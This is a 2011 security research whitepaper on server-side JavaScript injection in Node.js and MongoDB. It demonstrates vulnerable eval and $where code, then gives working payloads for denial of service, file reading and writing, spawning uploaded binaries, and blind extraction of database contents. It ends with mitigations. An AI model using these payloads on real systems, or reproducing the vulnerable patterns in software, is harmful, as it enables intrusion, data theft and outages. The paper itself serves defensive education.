Server-Side JavaScript Injection

Bryan Sullivan, Senior Security Researcher, Adobe Secure Software Engineering Team
July 2011

Abstract

This whitepaper is presented in support of the BlackHat USA 2011 talk, “Server-Side JavaScript Injection: Attacking NoSQL and Node.js”. Both this paper and the accompanying talk will discuss security vulnerabilities that can arise when software developers create applications or modules for use with JavaScript-based server applications such as NoSQL database engines or Node.js web servers. In the worst-case scenario, an attacker can exploit these vulnerabilities to upload and execute arbitrary binary files on the server machine, effectively granting him full control over the server.

The Rise of JavaScript

JavaScript has been widely used on web application client-side tiers (i.e. in code executing in the user’s browser) for years in order to provide a richer, more “desktop-like” user experience. But in recent years, there has been a surge of interest in JavaScript not just for client-side code, but for server-side code as well. There are now server-side JavaScript (or SSJS) features in database servers (CouchDB for example), file servers (Opera Unite), and web servers (Node.js).

Certainly much of this new interest can be attributed to the vast performance improvements that JavaScript engine developers have made recently. Competition between Microsoft, Mozilla, Apple, Google, and Opera to build the fastest browser has resulted in JavaScript engines that run orders of magnitude faster than their predecessors of just a few releases past. While it may not have been feasible from a performance perspective to build a fully-functioning web server based on JScript circa IE6 (for example), it’s an entirely different matter to build one based on JägerMonkey circa Firefox 4.

Another possible impetus for this shift is familiarity: so many web developers already have a great deal of experience in building client-side JavaScript functionality, and historically these people have been relegated to writing front ends of web applications. But moving to an SSJS back end can potentially allow the organization to take better advantage of the talent pool already existing in-house.

Background: Client-Side JavaScript Injection (aka Cross-Site Scripting)

While there can be substantial benefits of moving to SSJS, one serious drawback exists in that script injection vulnerabilities that can be exploited to execute on the server are just as easy to accidentally introduce into server-side application code as they are for client-side code; and furthermore, the effects of server-side JavaScript injection are far more critical and damaging.

Client-side JavaScript injection vulnerabilities are better known as their much more common name “cross-site scripting” (or XSS). The effects of XSS vulnerabilities can be

very damaging: XSS has been responsible for session hijacking/identity theft (theft of session and/or authentication cookies from the DOM); phishing attacks (injection of fake login dialogs into legitimate pages on the host application); keystroke logging; and webworms (MySpace/Samy among others). The Open Web Application Security Project (OWASP) currently ranks XSS as the #2 most dangerous threat to web applications (behind SQL injection), and the 2011 CWE/SANS Top 25 Most Dangerous Software Errors ranks XSS as the #4 threat (down from #1 in the 2010 list).

XSS vulnerabilities are not only extremely dangerous, they're extremely widespread as well. The Web Application Security Statistics report[1] released by the Web Application Security Consortium (WASC) in 2008 estimated that 39% of all web sites contain at least one XSS vulnerability. More recent independent studies by both WhiteHat Security[2] and Cenzic[3] show even greater percentages: WhiteHat estimates that 64% of sites are vulnerable to XSS, and Cenzic estimates a 68% vulnerability rate.

One of the reasons XSS is so prevalent is that it's so easily accidentally introduced into application code. Consider this block of client-side JavaScript code intended to process stock quote requests. (The code uses JSON as the message format and XMLHttpRequest as the request object.)

```
<html>
…
 <script>

var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = function() {
    if ((xhr.readyState == 4) && (xhr.status == 200)) {
      var stockInfo = eval('(' + xhr.responseText + ')');
      alert('The current price of ' + stockInfo.symbol +
            ' is $' + stockInfo.price);
    }
  }

  function makeRequest(tickerSymbol) {
    xhr.open("POST","stock_service",true);
    xhr.send("{\"symbol\" : \"" + tickerSymbol + "\"}");
  }

 </script>
…
<html>
```

This code looks straightforward but the call to eval potentially introduces a serious vulnerability. If an attacker were able to influence the response coming from the stock service to inject script code, the call to eval would execute that script code in the victim's browser context. The attacker's most likely move at this point would be to extract any authentication or session cookies from the page DOM and send them back to himself, so that he could assume the identity of the victim and take over his session.

---

[1] http://projects.webappsec.org/w/page/13246989/Web-Application-Security-Statistics

[2] https://www.whitehatsec.com/home/assets/WPstats_winter11_11th.pdf?doc=WPstats_winter11_11th

[3] http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2010.pdf

A New Vector: Server-Side JavaScript Injection

Now consider a very similar block of JavaScript code designed to parse JSON requests, except that this code is executing on the server tier to implement a node.js web server.

```
var http = require('http');

http.createServer(function (request, response) {

 if (request.method === 'POST') {

   var data = '';

   request.addListener('data', function(chunk) {
     data += chunk; });

   request.addListener('end', function() {

   var stockQuery = eval("(" + data + ")");
   getStockPrice(stockQuery.symbol);

   …

});
```

The same line of code (eval of the incoming JSON data) is responsible for an injection vulnerability in this snippet as in the previous client-side example. However, in this case, the effects of the vulnerability are much more severe than a leak of a victim's cookies.

For example, assume in this case that a legitimate, non-malicious JSON message to the stock quote service looks like this:

```
{"symbol" : "AMZN"}
```

The call to eval then evaluates the string:

```
({"symbol" : "AMZN"})
```

However, in this case there is nothing to prevent an attacker from simply sending his own JavaScript code in place of the normal JSON message. For example, he could send:

```
response.end('success')
```

The server code would then execute this injected command and return the text "success" as the body of the HTTP response. If an attacker sends this probing request and receives "success" as the response, he knows that the server will execute his arbitrarily supplied JavaScript, and he can proceed to send some more damaging attacks.

Denial of Service

An effective denial-of-service attack can be executed simply by sending the command:

```
while(1)
```

This attack will cause the target server to use 100% of its processor time to process the infinite loop. The server will hang and be unable to process any other incoming requests until an administrator manually restarts the process.

It's worth noting how asymmetric this DoS attack is. The attacker doesn't need to flood the target with millions of requests; instead, only a single HTTP request with an eight-byte payload is sufficient to disable the target.

An alternative DoS attack would be to simply exit or kill the running process:

```
process.exit()

process.kill(process.pid)
```

File System Access

Another potential goal of an attacker might be to read the contents of files from the local system. Node.js (as well as some NoSQL database engines such as CouchDB) use the CommonJS API; file system access is supported by including (via the require keyword) the "fs" module:

```
var fs = require('fs');
```

New modules can be require'd in at any time, so if the currently running script did not originally include file system access functionality (for example), an attacker can simply add that functionality in by including the appropriate require command along with his attack payload. The following attacks list the contents of the current directory and parent directory respectively:

```
response.end(require('fs').readdirSync('.').toString())

response.end(require('fs').readdirSync('..').toString())
```

From here, it is a simple matter to build a complete directory structure of the entire file system. To list the actual contents of a file, the attacker would issue the following command:

```
response.end(require('fs').readFileSync(filename))
```

However, not only can the attacker *read* the contents of files, he can also *write* to them as well. This attack prepends the string "hacked" to the start of the currently executing file – although, of course, much more malicious attacks would be possible.

```
var fs = require('fs');
var currentFile = process.argv[1];
fs.writeFileSync(currentFile,
  'hacked' + fs.readFileSync(currentFile));
```

Finally, we note that it is also possible to create arbitrary files on the target server, including binary executable files:

```
require('fs').writeFileSync(filename,data,'base64');
```

where filename is the name of the resulting file (i.e. “foo.exe”) and data is the base-64 encoded contents that will be written to the new file. The attacker now only needs a way to execute this binary on the server, which we will demonstrate in the next section.

Execution of Binary Files

Now that the attacker has written his attack binary to the server, he needs to execute it. Our final demonstration of server-side JavaScript injection exploit payloads shows how he can accomplish this.

```
require('child_process').spawn(filename);
```

At this point, any further exploits are limited only by the attacker’s imagination.

NoSQL Injection

Server-side JavaScript injection vulnerabilities are not limited to just eval calls inside of node.js scripts. NoSQL database engines that process JavaScript containing user-specified parameters can also be vulnerable. MongoDB, for example, supports the use of JavaScript functions for query specifications and map/reduce operations. Since MongoDB databases (like other NoSQL databases) do not have strictly defined database schemas, using JavaScript for query syntax allows developers to write arbitrarily complex queries against disparate document structures.

For example, let’s say we have a MongoDB collection that contains some documents representing books, some documents representing movies, and some documents representing music albums. This JavaScript query function will select all the documents in the specified collection that were either written, filmed, or recorded in the specified year:

```
function() {
    var search_year = input_value;
    return this.publicationYear == search_year ||
           this.filmingYear == search_year ||
           this.recordingYear == search_year;
  }
```

If the application developer were building this application in PHP (for example), the source code might look like this:

```
$query = 'function() {var search_year = \'' .
         $_GET['year'] . '\';' .
```

```
            'return this.publicationYear == search_year || ' .
            '       this.filmingYear == search_year || ' .
            '       this.recordingYear == search_year;}';

$cursor = $collection->find(array('$where' => $query));
```

This code uses the value of the request parameter "year" as the search parameter. However, just as in a traditional SQL injection attack, since the query syntax is being constructed in an ad-hoc fashion (i.e. query syntax concatenated along with user input), this code is vulnerable to a server-side JavaScript injection attack. For example, this request would be an effective DoS attack against the system:

```
http://server/app.php?year=1995';while(1);var%20foo='bar
```

Blind NoSQL Injection

Another possible attack vector when using SSJS injection attacks against NoSQL databases is the use of blind NoSQL injection to extract out the entire contents of the NoSQL database. To demonstrate how this attack might work, let's continue the MongoDB example given earlier.

To execute any kind of successful blind injection attack, the attacker needs to see a difference in the server's response to a true condition versus its response to a false condition. This is trivial to accomplish via SSJS injection, in fact even more trivial than the classic "OR 1=1" SQL injection attack:

```
http://server/app.php?year=1995';return(true);var%20foo='bar
http://server/app.php?year=1995';return(false);var%20foo='bar
```

If there is any difference in the server's response between these two injections, then the attacker can now "ask" the server any true/false "question", and by asking enough questions he will be able to extract out the entire contents of the database.

The first question to ask is, How many collections are in the database?, or more precisely, Is there exactly one collection in the database?, or Are there exactly two collections in the database?, etc:

```
return(db.getCollectionNames().length == 1);
return(db.getCollectionNames().length == 2);
…
```

Once the attacker has established how many collections exist, the next step is to determine their names. He checks each collection name in the array, first to determine the length of the name, and then to determine the name itself one character at a time:

```
return(db.getCollectionNames()[0].length == 1);
return(db.getCollectionNames()[0].length == 2);
…

return(db.getCollectionNames()[0][0] == 'a');
return(db.getCollectionNames()[0][0] == 'b');
…
```

Once the collection names have been extracted, the next step is to get the collection data. Again, the attacker first needs to determine how many documents are in each collection (in this example the name of the first collection is “foo”):

```
return(db.foo.find().length == 1);
return(db.foo.find().length == 2);
…
```

In a traditional blind SQL injection attack, the next step at this point would be to determine the column structure of each table. However, the concept of column structure does not have meaning for NoSQL database documents that lack a common schema. Every document in the collection could have a completely different structure from every other document. However, this fact won’t prevent extraction of the database contents. The attacker simply calls the “tojsononeline” method to return the document content as a JSON string, then extracts that data one character at a time:

```
return(tojsononeline(db.foo.find()[0]).length == 1);
return(tojsononeline(db.foo.find()[0]).length == 2);
…

return(tojsononeline(db.foo.find()[0])[0] == 'a');
return(tojsononeline(db.foo.find()[0])[0] == 'b');
…
```

Eventually, this method will produce the entire contents of every document in every collection in the database.

Conclusions and Mitigations

It should be noted that exploitation of server-side JavaScript injection vulnerabilities is more like that of SQL injection than of cross-site scripting. SSJS injection does not require any social engineering of an intermediate victim user the way that reflected XSS or DOM-based XSS do; instead, the attacker can attack the application directly with arbitrarily created HTTP requests.

Because of this, defenses against SSJS injection are also similar to SQL injection defenses:

- Avoid creating “ad-hoc” JavaScript commands by concatenating script with user input.
- Validate user input used in SSJS commands with regular expressions.
- Avoid use of the JavaScript eval command. In particular, when parsing JSON input, use a safer alternative such as JSON.parse.